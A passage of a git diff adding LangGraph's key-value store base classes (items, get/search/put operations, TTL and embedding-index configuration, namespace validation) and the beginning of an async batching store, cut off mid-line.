Args: + value: The stored data as a dictionary. Keys are filterable. + key: Unique identifier within the namespace. + namespace: Hierarchical path defining the collection in which this document resides. + Represented as a tuple of strings, allowing for nested categorization. + For example: `("documents", 'user123')` + created_at: Timestamp of item creation. + updated_at: Timestamp of last update. + """ + + __slots__ = ("value", "key", "namespace", "created_at", "updated_at") + + def __init__( + self, + *, + value: dict[str, Any], + key: str, + namespace: tuple[str, ...], + created_at: datetime, + updated_at: datetime, + ): + self.value = value + self.key = key + # The casting from json-like types is for if this object is + # deserialized. + self.namespace = tuple(namespace) + self.created_at = ( + datetime.fromisoformat(cast(str, created_at)) + if isinstance(created_at, str) + else created_at + ) + self.updated_at = ( + datetime.fromisoformat(cast(str, updated_at)) + if isinstance(updated_at, str) + else updated_at + ) + + def __eq__(self, other: object) -> bool: + if not isinstance(other, Item): + return False + return ( + self.value == other.value + and self.key == other.key + and self.namespace == other.namespace + and self.created_at == other.created_at + and self.updated_at == other.updated_at + ) + + def __hash__(self) -> int: + return hash((self.namespace, self.key)) + + def dict(self) -> dict: + return { + "namespace": list(self.namespace), + "key": self.key, + "value": self.value, + "created_at": self.created_at.isoformat(), + "updated_at": self.updated_at.isoformat(), + } + + def __repr__(self) -> str: + return f"Item({', '.join(f'{k}={v!r}' for k, v in self.dict().items())})" + + +class SearchItem(Item): + """Represents an item returned from a search operation with additional metadata.""" + + __slots__ = ("score",) + + def __init__( + self, + namespace: tuple[str, ...], + key: str, + value: dict[str, Any], + created_at: datetime, + updated_at: datetime, + score: float | None = None, + ) -> None: + """Initialize a result item. + + Args: + namespace: Hierarchical path to the item. + key: Unique identifier within the namespace. + value: The stored value. + created_at: When the item was first created. + updated_at: When the item was last updated. + score: Relevance/similarity score if from a ranked operation. + """ + super().__init__( + value=value, + key=key, + namespace=namespace, + created_at=created_at, + updated_at=updated_at, + ) + self.score = score + + def dict(self) -> dict: + result = super().dict() + result["score"] = self.score + return result + + +class GetOp(NamedTuple): + """Operation to retrieve a specific item by its namespace and key. + + This operation allows precise retrieval of stored items using their full path + (namespace) and unique identifier (key) combination. + + ???+ example "Examples" + + Basic item retrieval: + + ```python + GetOp(namespace=("users", "profiles"), key="user123") + GetOp(namespace=("cache", "embeddings"), key="doc456") + ``` + """ + + namespace: tuple[str, ...] + """Hierarchical path that uniquely identifies the item's location. + + ???+ example "Examples" + + ```python + ("users",) # Root level users namespace + ("users", "profiles") # Profiles within users namespace + ``` + """ + + key: str + """Unique identifier for the item within its specific namespace. + + ???+ example "Examples" + + ```python + "user123" # For a user profile + "doc456" # For a document + ``` + """ + refresh_ttl: bool = True + """Whether to refresh TTLs for the returned item. + + If no TTL was specified for the original item(s), + or if TTL support is not enabled for your adapter, + this argument is ignored. + """ + + +class SearchOp(NamedTuple): + """Operation to search for items within a specified namespace hierarchy. + + This operation supports both structured filtering and natural language search + within a given namespace prefix. It provides pagination through limit and offset + parameters. + + !!! note + + Natural language search support depends on your store implementation. + + ???+ example "Examples" + + Search with filters and pagination: + + ```python + SearchOp( + namespace_prefix=("documents",), + filter={"type": "report", "status": "active"}, + limit=5, + offset=10 + ) + ``` + + Natural language search: + + ```python + SearchOp( + namespace_prefix=("users", "content"), + query="technical documentation about APIs", + limit=20 + ) + ``` + """ + + namespace_prefix: tuple[str, ...] + """Hierarchical path prefix defining the search scope. + + ???+ example "Examples" + + ```python + () # Search entire store + ("documents",) # Search all documents + ("users", "content") # Search within user content + ``` + """ + + filter: dict[str, Any] | None = None + """Key-value pairs for filtering results based on exact matches or comparison operators. + + The filter supports both exact matches and operator-based comparisons. + + Supported Operators: + - `$eq`: Equal to (same as direct value comparison) + - `$ne`: Not equal to + - `$gt`: Greater than + - `$gte`: Greater than or equal to + - `$lt`: Less than + - `$lte`: Less than or equal to + + ???+ example "Examples" + + Simple exact match: + + ```python + {"status": "active"} + ``` + + Comparison operators: + + ```python + {"score": {"$gt": 4.99}} # Score greater than 4.99 + ``` + + Multiple conditions: + + ```python + { + "score": {"$gte": 3.0}, + "color": "red" + } + ``` + """ + + limit: int = 10 + """Maximum number of items to return in the search results.""" + + offset: int = 0 + """Number of matching items to skip for pagination.""" + + query: str | None = None + """Natural language search query for semantic search capabilities. + + ???+ example "Examples" + + - "technical documentation about REST APIs" + - "machine learning papers from 2023" + """ + refresh_ttl: bool = True + """Whether to refresh TTLs for the returned item. + + If no TTL was specified for the original item(s), + or if TTL support is not enabled for your adapter, + this argument is ignored. + """ + + +# Type representing a namespace path that can include wildcards +NamespacePath = tuple[str | Literal["*"], ...] +"""A tuple representing a namespace path that can include wildcards. + +???+ example "Examples" + + ```python + ("users",) # Exact users namespace + ("documents", "*") # Any sub-namespace under documents + ("cache", "*", "v1") # Any cache category with v1 version + ``` +""" + +# Type for specifying how to match namespaces +NamespaceMatchType = Literal["prefix", "suffix"] +"""Specifies how to match namespace paths. + +Values: + "prefix": Match from the start of the namespace + "suffix": Match from the end of the namespace +""" + + +class MatchCondition(NamedTuple): + """Represents a pattern for matching namespaces in the store. + + This class combines a match type (prefix or suffix) with a namespace path + pattern that can include wildcards to flexibly match different namespace + hierarchies. + + ???+ example "Examples" + + Prefix matching: + + ```python + MatchCondition(match_type="prefix", path=("users", "profiles")) + ``` + + Suffix matching with wildcard: + + ```python + MatchCondition(match_type="suffix", path=("cache", "*")) + ``` + + Simple suffix matching: + + ```python + MatchCondition(match_type="suffix", path=("v1",)) + ``` + """ + + match_type: NamespaceMatchType + """Type of namespace matching to perform.""" + + path: NamespacePath + """Namespace path pattern that can include wildcards.""" + + +class ListNamespacesOp(NamedTuple): + """Operation to list and filter namespaces in the store. + + This operation allows exploring the organization of data, finding specific + collections, and navigating the namespace hierarchy. + + ???+ example "Examples" + + List all namespaces under the `"documents"` path: + + ```python + ListNamespacesOp( + match_conditions=(MatchCondition(match_type="prefix", path=("documents",)),), + max_depth=2 + ) + ``` + + List all namespaces that end with `"v1"`: + + ```python + ListNamespacesOp( + match_conditions=(MatchCondition(match_type="suffix", path=("v1",)),), + limit=50 + ) + ``` + + """ + + match_conditions: tuple[MatchCondition, ...] | None = None + """Optional conditions for filtering namespaces. + + ???+ example "Examples" + + All user namespaces: + + ```python + (MatchCondition(match_type="prefix", path=("users",)),) + ``` + + All namespaces that start with `"docs"` and end with `"draft"`: + + ```python + ( + MatchCondition(match_type="prefix", path=("docs",)), + MatchCondition(match_type="suffix", path=("draft",)) + ) + ``` + """ + + max_depth: int | None = None + """Maximum depth of namespace hierarchy to return. + + Note: + Namespaces deeper than this level will be truncated. + """ + + limit: int = 100 + """Maximum number of namespaces to return.""" + + offset: int = 0 + """Number of namespaces to skip for pagination.""" + + +class PutOp(NamedTuple): + """Operation to store, update, or delete an item in the store. + + This class represents a single operation to modify the store's contents, + whether adding new items, updating existing ones, or removing them. + """ + + namespace: tuple[str, ...] + """Hierarchical path that identifies the location of the item. + + The namespace acts as a folder-like structure to organize items. + Each element in the tuple represents one level in the hierarchy. + + ???+ example "Examples" + + Root level documents: + + ```python + ("documents",) + ``` + + User-specific documents: + + ```python + ("documents", "user123") + ``` + + Nested cache structure: + + ```python + ("cache", "embeddings", "v1") + ``` + """ + + key: str + """Unique identifier for the item within its namespace. + + The key must be unique within the specific namespace to avoid conflicts. + Together with the namespace, it forms a complete path to the item. + + Example: + If namespace is `("documents", "user123")` and key is `"report1"`, + the full path would effectively be `"documents/user123/report1"` + """ + + value: dict[str, Any] | None + """The data to store, or `None` to mark the item for deletion. + + The value must be a dictionary with string keys and JSON-serializable values. + Setting this to `None` signals that the item should be deleted. + + Example: + { + "field1": "string value", + "field2": 123, + "nested": {"can": "contain", "any": "serializable data"} + } + """ + + index: Literal[False] | list[str] | None = None # type: ignore[assignment] + """Controls how the item's fields are indexed for search operations. + + Indexing configuration determines how the item can be found through search: + - `None` (default): Uses the store's default indexing configuration (if provided) + - `False`: Disables indexing for this item + - `list[str]`: Specifies which json path fields to index for search + + The item remains accessible through direct get() operations regardless of indexing. + When indexed, fields can be searched using natural language queries through + vector similarity search (if supported by the store implementation). + + Path Syntax: + - Simple field access: `"field"` + - Nested fields: `"parent.child.grandchild"` + - Array indexing: + - Specific index: `"array[0]"` + - Last element: `"array[-1]"` + - All elements (each individually): `"array[*]"` + + ???+ example "Examples" + + - `None` - Use store defaults (whole item) + - `list[str]` - List of fields to index + + ```python + [ + "metadata.title", # Nested field access + "context[*].content", # Index content from all context as separate vectors + "authors[0].name", # First author's name + "revisions[-1].changes", # Most recent revision's changes + "sections[*].paragraphs[*].text", # All text from all paragraphs in all sections + "metadata.tags[*]", # All tags in metadata + ] + ``` + """ + ttl: float | None = None + """Controls the TTL (time-to-live) for the item in minutes. + + If provided, and if the store you are using supports this feature, the item + will expire this many minutes after it was last accessed. The expiration timer + refreshes on both read operations (get/search) and write operations (put/update). + When the TTL expires, the item will be scheduled for deletion on a best-effort basis. + Defaults to `None` (no expiration). + """ + + +Op = GetOp | SearchOp | PutOp | ListNamespacesOp +Result = Item | list[Item] | list[SearchItem] | list[tuple[str, ...]] | None + + +class InvalidNamespaceError(ValueError): + """Provided namespace is invalid.""" + + +class TTLConfig(TypedDict, total=False): + """Configuration for TTL (time-to-live) behavior in the store.""" + + refresh_on_read: bool + """Default behavior for refreshing TTLs on read operations (`GET` and `SEARCH`). + + If `True`, TTLs will be refreshed on read operations (get/search) by default. + This can be overridden per-operation by explicitly setting `refresh_ttl`. + Defaults to `True` if not configured. + """ + default_ttl: float | None + """Default TTL (time-to-live) in minutes for new items. + + If provided, new items will expire after this many minutes after their last access. + The expiration timer refreshes on both read and write operations. + Defaults to `None` (no expiration). + """ + sweep_interval_minutes: int | None + """Interval in minutes between TTL sweep operations. + + If provided, the store will periodically delete expired items based on TTL. + Defaults to None (no sweeping). + """ + + +class IndexConfig(TypedDict, total=False): + """Configuration for indexing documents for semantic search in the store. + + If not provided to the store, the store will not support vector search. + In that case, all `index` arguments to `put()` and `aput()` operations will be ignored. + """ + + dims: int + """Number of dimensions in the embedding vectors. + + Common embedding models have the following dimensions: + - `openai:text-embedding-3-large`: `3072` + - `openai:text-embedding-3-small`: `1536` + - `openai:text-embedding-ada-002`: `1536` + - `cohere:embed-english-v3.0`: `1024` + - `cohere:embed-english-light-v3.0`: `384` + - `cohere:embed-multilingual-v3.0`: `1024` + - `cohere:embed-multilingual-light-v3.0`: `384` + """ + + embed: Embeddings | EmbeddingsFunc | AEmbeddingsFunc | str + """Optional function to generate embeddings from text. + + Can be specified in three ways: + 1. A LangChain `Embeddings` instance + 2. A synchronous embedding function (`EmbeddingsFunc`) + 3. An asynchronous embedding function (`AEmbeddingsFunc`) + 4. A provider string (e.g., `"openai:text-embedding-3-small"`) + + ???+ example "Examples" + + Using LangChain's initialization with `InMemoryStore`: + + ```python + from langchain.embeddings import init_embeddings + from langgraph.store.memory import InMemoryStore + + store = InMemoryStore( + index={ + "dims": 1536, + "embed": init_embeddings("openai:text-embedding-3-small") + } + ) + ``` + + Using a custom embedding function with `InMemoryStore`: + + ```python + from openai import OpenAI + from langgraph.store.memory import InMemoryStore + + client = OpenAI() + + def embed_texts(texts: list[str]) -> list[list[float]]: + response = client.embeddings.create( + model="text-embedding-3-small", + input=texts + ) + return [e.embedding for e in response.data] + + store = InMemoryStore( + index={ + "dims": 1536, + "embed": embed_texts + } + ) + ``` + + Using an asynchronous embedding function with `InMemoryStore`: + + ```python + from openai import AsyncOpenAI + from langgraph.store.memory import InMemoryStore + + client = AsyncOpenAI() + + async def aembed_texts(texts: list[str]) -> list[list[float]]: + response = await client.embeddings.create( + model="text-embedding-3-small", + input=texts + ) + return [e.embedding for e in response.data] + + store = InMemoryStore( + index={ + "dims": 1536, + "embed": aembed_texts + } + ) + ``` + """ + + fields: list[str] | None + """Fields to extract text from for embedding generation. + + Controls which parts of stored items are embedded for semantic search. Follows JSON path syntax: + + - `["$"]`: Embeds the entire JSON object as one vector (default) + - `["field1", "field2"]`: Embeds specific top-level fields + - `["parent.child"]`: Embeds nested fields using dot notation + - `["array[*].field"]`: Embeds field from each array element separately + + Note: + You can always override this behavior when storing an item using the + `index` parameter in the `put` or `aput` operations. + + ???+ example "Examples" + + ```python + # Embed entire document (default) + fields=["$"] + + # Embed specific fields + fields=["text", "summary"] + + # Embed nested fields + fields=["metadata.title", "content.body"] + + # Embed from arrays + fields=["messages[*].content"] # Each message content separately + fields=["context[0].text"] # First context item's text + ``` + + Note: + - Fields missing from a document are skipped + - Array notation creates separate embeddings for each element + - Complex nested paths are supported (e.g., `"a.b[*].c.d"`) + """ + + +class BaseStore(ABC): + """Abstract base class for persistent key-value stores. + + Stores enable persistence and memory that can be shared across threads, + scoped to user IDs, assistant IDs, or other arbitrary namespaces. + Some implementations may support semantic search capabilities through + an optional `index` configuration. + + Note: + Semantic search capabilities vary by implementation and are typically + disabled by default. Stores that support this feature can be configured + by providing an `index` configuration at creation time. Without this + configuration, semantic search is disabled and any `index` arguments + to storage operations will have no effect. + + Similarly, TTL (time-to-live) support is disabled by default. + Subclasses must explicitly set `supports_ttl = True` to enable this feature. + """ + + supports_ttl: bool = False + ttl_config: TTLConfig | None = None + + __slots__ = ("__weakref__",) + + @abstractmethod + def batch(self, ops: Iterable[Op]) -> list[Result]: + """Execute multiple operations synchronously in a single batch. + + Args: + ops: An iterable of operations to execute. + + Returns: + A list of results, where each result corresponds to an operation in the input. + The order of results matches the order of input operations. + """ + + @abstractmethod + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + """Execute multiple operations asynchronously in a single batch. + + Args: + ops: An iterable of operations to execute. + + Returns: + A list of results, where each result corresponds to an operation in the input. + The order of results matches the order of input operations. + """ + + def get( + self, + namespace: tuple[str, ...], + key: str, + *, + refresh_ttl: bool | None = None, + ) -> Item | None: + """Retrieve a single item. + + Args: + namespace: Hierarchical path for the item. + key: Unique identifier within the namespace. + refresh_ttl: Whether to refresh TTLs for the returned item. + If `None`, uses the store's default `refresh_ttl` setting. + If no TTL is specified, this argument is ignored. + + Returns: + The retrieved item or `None` if not found. + """ + return self.batch( + [GetOp(namespace, str(key), _ensure_refresh(self.ttl_config, refresh_ttl))] + )[0] + + def search( + self, + namespace_prefix: tuple[str, ...], + /, + *, + query: str | None = None, + filter: dict[str, Any] | None = None, + limit: int = 10, + offset: int = 0, + refresh_ttl: bool | None = None, + ) -> list[SearchItem]: + """Search for items within a namespace prefix. + + Args: + namespace_prefix: Hierarchical path prefix to search within. + query: Optional query for natural language search. + filter: Key-value pairs to filter results. + limit: Maximum number of items to return. + offset: Number of items to skip before returning results. + refresh_ttl: Whether to refresh TTLs for the returned items. + If no TTL is specified, this argument is ignored. + + Returns: + List of items matching the search criteria. + + ???+ example "Examples" + + Basic filtering: + + ```python + # Search for documents with specific metadata + results = store.search( + ("docs",), + filter={"type": "article", "status": "published"} + ) + ``` + + Natural language search (requires vector store implementation): + + ```python + # Initialize store with embedding configuration + store = YourStore( # e.g., InMemoryStore, AsyncPostgresStore + index={ + "dims": 1536, # embedding dimensions + "embed": your_embedding_function, # function to create embeddings + "fields": ["text"] # fields to embed. Defaults to ["$"] + } + ) + + # Search for semantically similar documents + + results = store.search( + ("docs",), + query="machine learning applications in healthcare", + filter={"type": "research_paper"}, + limit=5 + ) + ``` + + !!! note + + Natural language search support depends on your store implementation + and requires proper embedding configuration. + """ + return self.batch( + [ + SearchOp( + namespace_prefix, + filter, + limit, + offset, + query, + _ensure_refresh(self.ttl_config, refresh_ttl), + ) + ] + )[0] + + def put( + self, + namespace: tuple[str, ...], + key: str, + value: dict[str, Any], + index: Literal[False] | list[str] | None = None, + *, + ttl: float | None | NotProvided = NOT_PROVIDED, + ) -> None: + """Store or update an item in the store. + + Args: + namespace: Hierarchical path for the item, represented as a tuple of strings. + Example: `("documents", "user123")` + key: Unique identifier within the namespace. Together with namespace forms + the complete path to the item. + value: Dictionary containing the item's data. Must contain string keys + and JSON-serializable values. + index: Controls how the item's fields are indexed for search: + + - None (default): Use `fields` you configured when creating the store (if any) + If you do not initialize the store with indexing capabilities, + the `index` parameter will be ignored + - False: Disable indexing for this item + - `list[str]`: List of field paths to index, supporting: + - Nested fields: `"metadata.title"` + - Array access: `"chapters[*].content"` (each indexed separately) + - Specific indices: `"authors[0].name"` + ttl: Time to live in minutes. Support for this argument depends on your store adapter. + If specified, the item will expire after this many minutes from when it was last accessed. + None means no expiration. Expired runs will be deleted opportunistically. + By default, the expiration timer refreshes on both read operations (get/search) + and write operations (put/update), whenever the item is included in the operation. + + Note: + Indexing support depends on your store implementation. + If you do not initialize the store with indexing capabilities, + the `index` parameter will be ignored. + + Similarly, TTL support depends on the specific store implementation. + Some implementations may not support expiration of items. + + ???+ example "Examples" + + Store item. Indexing depends on how you configure the store: + + ```python + store.put(("docs",), "report", {"memory": "Will likes ai"}) + ``` + + Do not index item for semantic search. Still accessible through `get()` + and `search()` operations but won't have a vector representation. + + ```python + store.put(("docs",), "report", {"memory": "Will likes ai"}, index=False) + ``` + + Index specific fields for search: + + ```python + store.put(("docs",), "report", {"memory": "Will likes ai"}, index=["memory"]) + ``` + """ + _validate_namespace(namespace) + if ttl not in (NOT_PROVIDED, None) and not self.supports_ttl: + raise NotImplementedError( + f"TTL is not supported by {self.__class__.__name__}. " + f"Use a store implementation that supports TTL or set ttl=None." + ) + self.batch( + [ + PutOp( + namespace, + str(key), + value, + index=index, + ttl=_ensure_ttl(self.ttl_config, ttl), + ) + ] + ) + + def delete(self, namespace: tuple[str, ...], key: str) -> None: + """Delete an item. + + Args: + namespace: Hierarchical path for the item. + key: Unique identifier within the namespace. + """ + self.batch([PutOp(namespace, str(key), None, ttl=None)]) + + def list_namespaces( + self, + *, + prefix: NamespacePath | None = None, + suffix: NamespacePath | None = None, + max_depth: int | None = None, + limit: int = 100, + offset: int = 0, + ) -> list[tuple[str, ...]]: + """List and filter namespaces in the store. + + Used to explore the organization of data, + find specific collections, or navigate the namespace hierarchy. + + Args: + prefix: Filter namespaces that start with this path. + suffix: Filter namespaces that end with this path. + max_depth: Return namespaces up to this depth in the hierarchy. + Namespaces deeper than this level will be truncated. + limit: Maximum number of namespaces to return. + offset: Number of namespaces to skip for pagination. + + Returns: + A list of namespace tuples that match the criteria. Each tuple represents a + full namespace path up to `max_depth`. + + ???+ example "Examples": + + Setting `max_depth=3`. Given the namespaces: + + ```python + # Example if you have the following namespaces: + # ("a", "b", "c") + # ("a", "b", "d", "e") + # ("a", "b", "d", "i") + # ("a", "b", "f") + # ("a", "c", "f") + store.list_namespaces(prefix=("a", "b"), max_depth=3) + # [("a", "b", "c"), ("a", "b", "d"), ("a", "b", "f")] + ``` + """ + match_conditions = [] + if prefix: + match_conditions.append(MatchCondition(match_type="prefix", path=prefix)) + if suffix: + match_conditions.append(MatchCondition(match_type="suffix", path=suffix)) + + op = ListNamespacesOp( + match_conditions=tuple(match_conditions), + max_depth=max_depth, + limit=limit, + offset=offset, + ) + return self.batch([op])[0] + + async def aget( + self, + namespace: tuple[str, ...], + key: str, + *, + refresh_ttl: bool | None = None, + ) -> Item | None: + """Asynchronously retrieve a single item. + + Args: + namespace: Hierarchical path for the item. + key: Unique identifier within the namespace. + + Returns: + The retrieved item or `None` if not found. + """ + return ( + await self.abatch( + [ + GetOp( + namespace, + str(key), + _ensure_refresh(self.ttl_config, refresh_ttl), + ) + ] + ) + )[0] + + async def asearch( + self, + namespace_prefix: tuple[str, ...], + /, + *, + query: str | None = None, + filter: dict[str, Any] | None = None, + limit: int = 10, + offset: int = 0, + refresh_ttl: bool | None = None, + ) -> list[SearchItem]: + """Asynchronously search for items within a namespace prefix. + + Args: + namespace_prefix: Hierarchical path prefix to search within. + query: Optional query for natural language search. + filter: Key-value pairs to filter results. + limit: Maximum number of items to return. + offset: Number of items to skip before returning results. + refresh_ttl: Whether to refresh TTLs for the returned items. + If `None`, uses the store's `TTLConfig.refresh_default` setting. + If `TTLConfig` is not provided or no TTL is specified, this argument is ignored. + + Returns: + List of items matching the search criteria. + + ???+ example "Examples" + + Basic filtering: + + ```python + # Search for documents with specific metadata + results = await store.asearch( + ("docs",), + filter={"type": "article", "status": "published"} + ) + ``` + + Natural language search (requires vector store implementation): + + ```python + # Initialize store with embedding configuration + store = YourStore( # e.g., InMemoryStore, AsyncPostgresStore + index={ + "dims": 1536, # embedding dimensions + "embed": your_embedding_function, # function to create embeddings + "fields": ["text"] # fields to embed + } + ) + + # Search for semantically similar documents + + results = await store.asearch( + ("docs",), + query="machine learning applications in healthcare", + filter={"type": "research_paper"}, + limit=5 + ) + ``` + + !!! note + + Natural language search support depends on your store implementation + and requires proper embedding configuration. + """ + return ( + await self.abatch( + [ + SearchOp( + namespace_prefix, + filter, + limit, + offset, + query, + _ensure_refresh(self.ttl_config, refresh_ttl), + ) + ] + ) + )[0] + + async def aput( + self, + namespace: tuple[str, ...], + key: str, + value: dict[str, Any], + index: Literal[False] | list[str] | None = None, + *, + ttl: float | None | NotProvided = NOT_PROVIDED, + ) -> None: + """Asynchronously store or update an item in the store. + + Args: + namespace: Hierarchical path for the item, represented as a tuple of strings. + Example: `("documents", "user123")` + key: Unique identifier within the namespace. Together with namespace forms + the complete path to the item. + value: Dictionary containing the item's data. Must contain string keys + and JSON-serializable values. + index: Controls how the item's fields are indexed for search: + + - None (default): Use `fields` you configured when creating the store (if any) + If you do not initialize the store with indexing capabilities, + the `index` parameter will be ignored + - False: Disable indexing for this item + - `list[str]`: List of field paths to index, supporting: + - Nested fields: `"metadata.title"` + - Array access: `"chapters[*].content"` (each indexed separately) + - Specific indices: `"authors[0].name"` + ttl: Time to live in minutes. Support for this argument depends on your store adapter. + If specified, the item will expire after this many minutes from when it was last accessed. + None means no expiration. Expired runs will be deleted opportunistically. + By default, the expiration timer refreshes on both read operations (get/search) + and write operations (put/update), whenever the item is included in the operation. + + Note: + Indexing support depends on your store implementation. + If you do not initialize the store with indexing capabilities, + the `index` parameter will be ignored. + + Similarly, TTL support depends on the specific store implementation. + Some implementations may not support expiration of items. + + ???+ example "Examples" + + Store item. Indexing depends on how you configure the store: + + ```python + await store.aput(("docs",), "report", {"memory": "Will likes ai"}) + ``` + + Do not index item for semantic search. Still accessible through `get()` + and `search()` operations but won't have a vector representation. + + ```python + await store.aput(("docs",), "report", {"memory": "Will likes ai"}, index=False) + ``` + + Index specific fields for search (if store configured to index items): + + ```python + await store.aput( + ("docs",), + "report", + { + "memory": "Will likes ai", + "context": [{"content": "..."}, {"content": "..."}] + }, + index=["memory", "context[*].content"] + ) + ``` + """ + _validate_namespace(namespace) + if ttl not in (NOT_PROVIDED, None) and not self.supports_ttl: + raise NotImplementedError( + f"TTL is not supported by {self.__class__.__name__}. " + f"Use a store implementation that supports TTL or set ttl=None." + ) + await self.abatch( + [ + PutOp( + namespace, + str(key), + value, + index=index, + ttl=_ensure_ttl(self.ttl_config, ttl), + ) + ] + ) + + async def adelete(self, namespace: tuple[str, ...], key: str) -> None: + """Asynchronously delete an item. + + Args: + namespace: Hierarchical path for the item. + key: Unique identifier within the namespace. + """ + await self.abatch([PutOp(namespace, str(key), None)]) + + async def alist_namespaces( + self, + *, + prefix: NamespacePath | None = None, + suffix: NamespacePath | None = None, + max_depth: int | None = None, + limit: int = 100, + offset: int = 0, + ) -> list[tuple[str, ...]]: + """List and filter namespaces in the store asynchronously. + + Used to explore the organization of data, + find specific collections, or navigate the namespace hierarchy. + + Args: + prefix: Filter namespaces that start with this path. + suffix: Filter namespaces that end with this path. + max_depth: Return namespaces up to this depth in the hierarchy. + Namespaces deeper than this level will be truncated to this depth. + limit: Maximum number of namespaces to return. + offset: Number of namespaces to skip for pagination. + + Returns: + A list of namespace tuples that match the criteria. Each tuple represents a + full namespace path up to `max_depth`. + + ???+ example "Examples" + + Setting `max_depth=3` with existing namespaces: + ```python + # Given the following namespaces: + # ("a", "b", "c") + # ("a", "b", "d", "e") + # ("a", "b", "d", "i") + # ("a", "b", "f") + # ("a", "c", "f") + + await store.alist_namespaces(prefix=("a", "b"), max_depth=3) + # Returns: [("a", "b", "c"), ("a", "b", "d"), ("a", "b", "f")] + ``` + """ + match_conditions = [] + if prefix: + match_conditions.append(MatchCondition(match_type="prefix", path=prefix)) + if suffix: + match_conditions.append(MatchCondition(match_type="suffix", path=suffix)) + + op = ListNamespacesOp( + match_conditions=tuple(match_conditions), + max_depth=max_depth, + limit=limit, + offset=offset, + ) + return (await self.abatch([op]))[0] + + +def _validate_namespace(namespace: tuple[str, ...]) -> None: + if not namespace: + raise InvalidNamespaceError("Namespace cannot be empty.") + for label in namespace: + if not isinstance(label, str): + raise InvalidNamespaceError( + f"Invalid namespace label '{label}' found in {namespace}. Namespace labels" + f" must be strings, but got {type(label).__name__}." + ) + if "." in label: + raise InvalidNamespaceError( + f"Invalid namespace label '{label}' found in {namespace}. Namespace labels cannot contain periods ('.')." + ) + elif not label: + raise InvalidNamespaceError( + f"Namespace labels cannot be empty strings. Got {label} in {namespace}" + ) + if namespace[0] == "langgraph": + raise InvalidNamespaceError( + f'Root label for namespace cannot be "langgraph". Got: {namespace}' + ) + + +def _ensure_refresh( + ttl_config: TTLConfig | None, refresh_ttl: bool | None = None +) -> bool: + if refresh_ttl is not None: + return refresh_ttl + if ttl_config is not None: + return ttl_config.get("refresh_on_read", True) + return True + + +def _ensure_ttl( + ttl_config: TTLConfig | None, + ttl: float | None | NotProvided = NOT_PROVIDED, +) -> float | None: + if ttl is NOT_PROVIDED: + if ttl_config: + return ttl_config.get("default_ttl") + return None + return ttl + + +__all__ = [ + "BaseStore", + "Item", + "Op", + "PutOp", + "GetOp", + "SearchOp", + "ListNamespacesOp", + "MatchCondition", + "NamespacePath", + "NamespaceMatchType", + "Embeddings", + "ensure_embeddings", + "tokenize_path", + "get_text_at_path", +] diff --git a/libs/checkpoint/langgraph/store/base/batch.py b/libs/checkpoint/langgraph/store/base/batch.py new file mode 100644 index 0000000..64019d6 --- /dev/null +++ b/libs/checkpoint/langgraph/store/base/batch.py @@ -0,0 +1,371 @@ +"""Utilities for batching operations in a background task.""" + +from __future__ import annotations + +import asyncio +import functools +import weakref +from collections.abc import Callable, Iterable +from typing import Any, Literal, TypeVar + +from langgraph.store.base import ( + NOT_PROVIDED, + BaseStore, + GetOp, + Item, + ListNamespacesOp, + MatchCondition, + NamespacePath, + NotProvided, + Op, + PutOp, + Result, + SearchItem, + SearchOp, + _ensure_refresh, + _ensure_ttl, + _validate_namespace, +) + +F = TypeVar("F", bound=Callable) + + +def _check_loop(func: F) -> F: + @functools.wraps(func) + def wrapper(store: AsyncBatchedBaseStore, *args: Any, **kwargs: Any) -> Any: + method_name: str = func.__name__ + try: + current_loop = asyncio.get_running_loop() + if current_loop is store._loop: + replacement_str = ( + f"Specifically, replace `store.{method_name}(...)` with `await store.a{method_name}(...)" + if method_name + else "For example, replace `store.get(...)` with `await store.aget(...)`" + ) + raise asyncio.InvalidStateError( + f"Synchronous calls to {store.__class__.__name__} detected in the main event loop. " + "This can lead to deadlocks or performance issues. " + "Please use the asynchronous interface for main thread operations. " + f"{replacement_str} " + ) + except RuntimeError: + pass + return func(store, *args, **kwargs) + + return wrapper + + +class AsyncBatchedBaseStore(BaseStore): + """Efficiently batch operations in a background task.""" + + __slots__ = ("_loop", "_aqueue", "_task") + + def __init__(self) -> None: + super().__init__() + self._loop = asyncio.get_running_loop() + self._aqueue: asyncio.Queue[tuple[asyncio.Future, Op]] = asyncio.Queue() + self._task: asyncio.Task | None = None + self._ensure_task() + + def __del__(self) -> None: + try: + if self._task: + self._task.cancel() + except RuntimeError: + pass + + def _ensure_task(self) -> None: + """Ensure the background processing loop is running.""" + if self._task is None or self._task.done(): + self._task = self._loop.create_task(_run(self._aqueue, weakref.ref(self))) + + async def aget( + self, + namespace: tuple[str, ...], + key: str, + *, + refresh_ttl: bool | None = None, + ) -> Item | None: + self._ensure_task() + fut = self._loop.create_future() + self._aqueue.put_nowait( + ( + fut, + GetOp( + namespace, + key, + refresh_ttl=_ensure_refresh(self.ttl_config, refresh_ttl), + ), + ) + ) + return await fut + + async def asearch( + self, + namespace_prefix: tuple[str, ...], + /, + *, + query: str | None = None, + filter: dict[str, Any] | None = None, + limit: int = 10, + offset: int = 0, + refresh_ttl: bool | None = None, + ) -> list[SearchItem]: + self._ensure_task() + fut = self._loop.create_future() + self._aqueue.put_nowait( + ( + fut, + SearchOp( + namespace_prefix, + filter, + limit, + offset, + query, + refresh_ttl=_ensure_refresh(self.ttl_config, refresh_ttl), + ), + ) + ) + return await fut + + async def aput( + self, + namespace: tuple[str, ...], + key: str, + value: dict[str, Any], + index: Literal[False] | list[str] | None = None, + *, + ttl: float | None | NotProvided = NOT_PROVIDED, + ) -> None: + self._ensure_task() + _validate_namespace(namespace) + fut = self._loop.create_future() + self._aqueue.put_nowait( + ( + fut, + PutOp( + namespace, key, value, index, ttl=_ensure_ttl(self.ttl_config, ttl) + ), + ) + ) + return await fut + + async def adelete( + self, + namespace: tuple[str, ...], + key: str, + ) -> None: + self._ensure_task() + fut = self._loop.create_future() + self._aqueue.put_nowait((fut, PutOp(namespace, key, None))) + return await fut + + async def alist_namespaces( + self, + *, + prefix: NamespacePath | None = None, + suffix: NamespacePath | None = None, + max_depth: int | None = None, + limit: int = 100, + offset: int = 0, + ) -> list[tuple[str, ...]]: + self._ensure_task() + fut = self._loop.create_future() + match_conditions = [] + if prefix: + match_conditions.append(MatchCondition(match_type="prefix", path=prefix)) + if suffix: + match_conditions.append(MatchCondition(match_type="suffix", path=suffix)) + + op = ListNamespacesOp( + match_conditions=tuple(match_conditions), + max_depth=max_depth, + limit=limit, + offset=offset, + ) + self._aqueue.put_nowait((fut, op)) + return await fut + + @_check_loop + def batch(self, ops: Iterable[Op]) -> list[Result]: + return 